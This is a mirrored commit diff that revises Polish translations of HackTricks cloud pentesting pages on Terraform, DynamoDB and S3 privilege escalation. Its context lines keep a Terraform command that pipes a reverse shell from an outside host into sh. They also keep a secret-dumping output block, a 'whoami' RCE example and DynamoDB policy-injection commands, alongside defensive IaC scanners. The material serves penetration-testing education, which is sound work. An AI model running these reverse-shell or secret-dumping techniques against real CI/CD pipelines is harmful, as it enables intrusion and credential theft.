mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin
This commit is contained in:
@@ -6,7 +6,7 @@
|
||||
|
||||
[Z dokumentacji:](https://developer.hashicorp.com/terraform/intro)
|
||||
|
||||
HashiCorp Terraform to **narzędzie do infrastruktury jako kodu**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w plikach konfiguracyjnych czytelnych dla ludzi, które można wersjonować, ponownie używać i udostępniać. Możesz następnie używać spójnego przepływu pracy do provisioningu i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS.
|
||||
HashiCorp Terraform to **narzędzie do infrastruktury jako kodu**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w plikach konfiguracyjnych czytelnych dla ludzi, które można wersjonować, ponownie używać i udostępniać. Możesz następnie używać spójnego przepływu pracy do provisionowania i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS.
|
||||
|
||||
#### Jak działa Terraform?
|
||||
|
||||
@@ -36,7 +36,7 @@ Terraform **nie ma platformy, która udostępniałaby stronę internetową lub u
|
||||
|
||||
Jednak terraform jest **bardzo wrażliwym komponentem** do skompromitowania, ponieważ będzie miał **uprzywilejowany dostęp** do różnych lokalizacji, aby mógł działać poprawnie.
|
||||
|
||||
Głównym sposobem, w jaki atakujący może skompromitować system, na którym działa terraform, jest **skomprymowanie repozytorium, które przechowuje konfiguracje terraform**, ponieważ w pewnym momencie będą one **interpretowane**.
|
||||
Głównym sposobem, w jaki atakujący może skompromitować system, na którym działa terraform, jest **skomprimitowanie repozytorium, które przechowuje konfiguracje terraform**, ponieważ w pewnym momencie będą one **interpretowane**.
|
||||
|
||||
W rzeczywistości istnieją rozwiązania, które **automatycznie wykonują terraform plan/apply po utworzeniu PR**, takie jak **Atlantis**:
|
||||
|
||||
@@ -112,7 +112,7 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, korzystając z zewnętrznych odniesień**.
|
||||
Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, używając zewnętrznych odniesień**.
|
||||
|
||||
## Zrzuty sekretów
|
||||
|
||||
@@ -124,7 +124,7 @@ value = nonsensitive(var.do_token)
|
||||
```
|
||||
## Wykorzystywanie plików stanu Terraform
|
||||
|
||||
W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**to badanie**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferuje kilka interesujących opcji, aby skorzystać z pliku. Nawet jeśli miałbyś dostęp do plików konfiguracyjnych, użycie wektora plików stanu jest często znacznie bardziej podstępne, ponieważ nie zostawiasz śladów w historii `git`.
|
||||
W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**te badania**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferują interesujące opcje, aby skorzystać z tego pliku. Nawet jeśli miałbyś dostęp do plików konfiguracyjnych, użycie wektora plików stanu jest często znacznie bardziej podstępne, ponieważ nie zostawiasz śladów w historii `git`.
|
||||
|
||||
### RCE w Terraform: złośliwe modyfikowanie pliku konfiguracyjnego
|
||||
|
||||
@@ -203,7 +203,7 @@ program = ["sh", "-c", "whoami"]
|
||||
|
||||
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
|
||||
Snyk oferuje kompleksowe rozwiązanie do skanowania Infrastructure as Code (IaC), które wykrywa luki i błędne konfiguracje w Terraform, CloudFormation, Kubernetes i innych formatach IaC.
|
||||
Snyk oferuje kompleksowe rozwiązanie do skanowania Infrastructure as Code (IaC), które wykrywa luki i błędy konfiguracyjne w Terraform, CloudFormation, Kubernetes i innych formatach IaC.
|
||||
|
||||
- **Funkcje:**
|
||||
- Skanowanie w czasie rzeczywistym w poszukiwaniu luk w zabezpieczeniach i problemów z zgodnością.
|
||||
@@ -221,9 +221,9 @@ snyk iac test /path/to/terraform/code
|
||||
|
||||
**Checkov** to narzędzie do analizy statycznej kodu dla infrastruktury jako kodu (IaC) oraz narzędzie do analizy składu oprogramowania (SCA) dla obrazów i pakietów open source.
|
||||
|
||||
Skanuje infrastrukturę chmurową dostarczoną za pomocą [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) lub [OpenTofu](https://opentofu.org/) i wykrywa błędy w konfiguracji związane z bezpieczeństwem i zgodnością za pomocą skanowania opartego na grafach.
|
||||
Skanuje infrastrukturę chmurową dostarczoną za pomocą [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) lub [OpenTofu](https://opentofu.org/) i wykrywa błędy w konfiguracji bezpieczeństwa i zgodności za pomocą skanowania opartego na grafach.
|
||||
|
||||
Wykonuje [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), które jest skanowaniem pakietów open source i obrazów w poszukiwaniu powszechnych luk w zabezpieczeniach (CVE).
|
||||
Wykonuje [analizę składu oprogramowania (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), która jest skanowaniem pakietów open source i obrazów pod kątem powszechnych luk w zabezpieczeniach (CVE).
|
||||
```bash
|
||||
pip install checkov
|
||||
checkov -d /path/to/folder
|
||||
@@ -257,7 +257,7 @@ Z [**dokumentacji**](https://github.com/aquasecurity/tfsec): tfsec wykorzystuje
|
||||
- ↪️ Ocenia funkcje Terraform, np. `concat()`
|
||||
- 🔗 Ocenia relacje między zasobami Terraform
|
||||
- 🧰 Kompatybilny z Terraform CDK
|
||||
- 🙅 Zastosowuje (i upiększa) zdefiniowane przez użytkownika polityki Rego
|
||||
- 🙅 Zastosowuje (i wzbogaca) zdefiniowane przez użytkownika polityki Rego
|
||||
- 📃 Obsługuje wiele formatów wyjściowych: lovely (domyślny), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif.
|
||||
- 🛠️ Konfigurowalny (za pomocą flag CLI i/lub pliku konfiguracyjnego)
|
||||
- ⚡ Bardzo szybki, zdolny do szybkiego skanowania ogromnych repozytoriów
|
||||
@@ -269,7 +269,7 @@ tfsec /path/to/folder
|
||||
|
||||
Znajdź luki w zabezpieczeniach, problemy z zgodnością i błędy w konfiguracji infrastruktury na wczesnym etapie cyklu rozwoju swojej infrastruktury jako kodu z **KICS** od Checkmarx.
|
||||
|
||||
**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny w każdym projekcie natywnym w chmurze.
|
||||
**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny w każdym projekcie chmurowym.
|
||||
```bash
|
||||
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
```
|
||||
@@ -280,7 +280,7 @@ Z [**dokumentacji**](https://github.com/tenable/terrascan): Terrascan to statycz
|
||||
- Bezproblemowe skanowanie infrastruktury jako kodu w poszukiwaniu błędnych konfiguracji.
|
||||
- Monitorowanie dostarczonej infrastruktury chmurowej pod kątem zmian konfiguracji, które wprowadzają odchylenia w postawie, oraz umożliwia powrót do bezpiecznej postawy.
|
||||
- Wykrywanie luk w zabezpieczeniach i naruszeń zgodności.
|
||||
- Łagodzenie ryzyk przed dostarczeniem natywnej infrastruktury chmurowej.
|
||||
- Łagodzenie ryzyk przed dostarczeniem infrastruktury natywnej chmurowej.
|
||||
- Oferuje elastyczność uruchamiania lokalnie lub integracji z CI\CD.
|
||||
```bash
|
||||
brew install terrascan
|
||||
|
||||
@@ -16,7 +16,7 @@ Od marca 2024 roku AWS oferuje *polityki oparte na zasobach* dla DynamoDB ([AWS
|
||||
|
||||
Więc, jeśli masz `dynamodb:PutResourcePolicy` dla tabeli, możesz po prostu przyznać sobie lub innemu podmiotowi pełny dostęp do tabeli.
|
||||
|
||||
Przyznawanie `dynamodb:PutResourcePolicy` losowemu podmiotowi często zdarza się przypadkowo, jeśli administratorzy myślą, że przyznanie `dynamodb:Put*` pozwoli tylko na dodawanie elementów do bazy danych - lub jeśli przyznali ten zestaw uprawnień przed marcem 2024...
|
||||
Przyznanie `dynamodb:PutResourcePolicy` losowemu podmiotowi często zdarza się przypadkowo, jeśli administratorzy myślą, że przyznanie `dynamodb:Put*` pozwoli tylko na dodawanie elementów do bazy danych - lub jeśli przyznali ten zestaw uprawnień przed marcem 2024...
|
||||
|
||||
Idealnie, powinieneś również mieć `dynamodb:GetResourcePolicy`, aby nie nadpisywać innych potencjalnie istotnych uprawnień, ale tylko wstrzykiwać dodatkowe uprawnienia, których potrzebujesz:
|
||||
```bash
|
||||
@@ -26,7 +26,7 @@ aws dynamodb get-resource-policy \
|
||||
--query 'Policy' \
|
||||
--output text > policy.json
|
||||
```
|
||||
Jeśli nie możesz pobrać bieżącej polityki, po prostu użyj tej, która przyznaje pełny dostęp do tabeli dla twojego podmiotu:
|
||||
Jeśli nie możesz pobrać bieżącej polityki, po prostu użyj tej, która przyznaje pełny dostęp do tabeli twojemu podmiotowi:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -61,12 +61,12 @@ Teraz powinieneś mieć potrzebne uprawnienia.
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
Z tego, co wiem, **nie ma innego bezpośredniego sposobu na eskalację uprawnień w AWS tylko poprzez posiadanie pewnych uprawnień do `dynamodb`**. Możesz **czytać wrażliwe** informacje z tabel (które mogą zawierać dane uwierzytelniające AWS) i **zapisywać informacje w tabelach** (co może wywołać inne podatności, takie jak wstrzykiwanie kodu lambda...), ale wszystkie te opcje są już uwzględnione na stronie **DynamoDB Post Exploitation**:
|
||||
Z tego co wiem, **nie ma innego bezpośredniego sposobu na eskalację uprawnień w AWS tylko poprzez posiadanie pewnych uprawnień do `dynamodb`**. Możesz **czytać wrażliwe** informacje z tabel (które mogą zawierać dane uwierzytelniające AWS) oraz **zapisywać informacje w tabelach** (co może wywołać inne podatności, takie jak wstrzykiwanie kodu lambda...), ale wszystkie te opcje są już uwzględnione na stronie **DynamoDB Post Exploitation**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### TODO: Czytaj dane, wykorzystując strumienie danych
|
||||
### TODO: Czytaj dane, nadużywając strumieni danych
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -34,7 +34,7 @@ Na przykład, napastnik z tymi **uprawnieniami do bucketu cloudformation** o naz
|
||||
]
|
||||
}
|
||||
```
|
||||
I możliwe jest przejęcie, ponieważ istnieje **mały przedział czasowy od momentu przesłania szablonu** do koszyka do momentu, gdy **szablon jest wdrażany**. Napastnik może po prostu stworzyć **funkcję lambda** w swoim koncie, która **wywoła się, gdy wysłane zostanie powiadomienie o koszyku**, i **przejąć** **zawartość** tego **koszyka**.
|
||||
I możliwe jest przejęcie, ponieważ istnieje **mały przedział czasowy od momentu przesłania szablonu** do koszyka do momentu, gdy **szablon jest wdrażany**. Napastnik może po prostu stworzyć **funkcję lambda** w swoim koncie, która **wywoła się, gdy wysłane zostanie powiadomienie z koszyka**, i **przejmie** **zawartość** tego **koszyka**.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -43,7 +43,7 @@ Aby uzyskać więcej informacji, sprawdź oryginalne badania: [https://rhinosecu
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
|
||||
|
||||
To są uprawnienia do **pobierania i przesyłania obiektów do S3**. Kilka usług w AWS (i poza nim) używa przechowywania S3 do przechowywania **plików konfiguracyjnych**.\
|
||||
To są uprawnienia do **pobierania i przesyłania obiektów do S3**. Wiele usług w AWS (i poza nim) używa przechowywania S3 do przechowywania **plików konfiguracyjnych**.\
|
||||
Napastnik z **dostępem do odczytu** do nich może znaleźć **wrażliwe informacje** w nich.\
|
||||
Napastnik z **dostępem do zapisu** do nich mógłby **zmodyfikować dane, aby nadużyć jakiejś usługi i spróbować podnieść uprawnienia**.\
|
||||
Oto kilka przykładów:
|
||||
@@ -57,7 +57,7 @@ Również zazwyczaj, w rzeczywistych kontach prawie zawsze wszyscy deweloperzy m
|
||||
|
||||
Więc, jeśli masz uprawnienia wymienione nad tymi plikami, istnieje wektor ataku, który pozwala ci uzyskać RCE w pipeline z uprawnieniami `terraform` - najczęściej `AdministratorAccess`, co czyni cię administratorem konta w chmurze. Możesz również użyć tego wektora do przeprowadzenia ataku typu denial of service, powodując, że `terraform` usunie legalne zasoby.
|
||||
|
||||
Postępuj zgodnie z opisem w sekcji *Abusing Terraform State Files* na stronie *Terraform Security* w celu uzyskania bezpośrednio używalnego kodu exploit:
|
||||
Postępuj zgodnie z opisem w sekcji *Nadużywanie plików stanu Terraform* na stronie *Bezpieczeństwo Terraform* w celu uzyskania bezpośrednio używalnego kodu exploita:
|
||||
|
||||
{{#ref}}
|
||||
terraform-security.md#abusing-terraform-state-files
|
||||
|
||||
Reference in New Issue
Block a user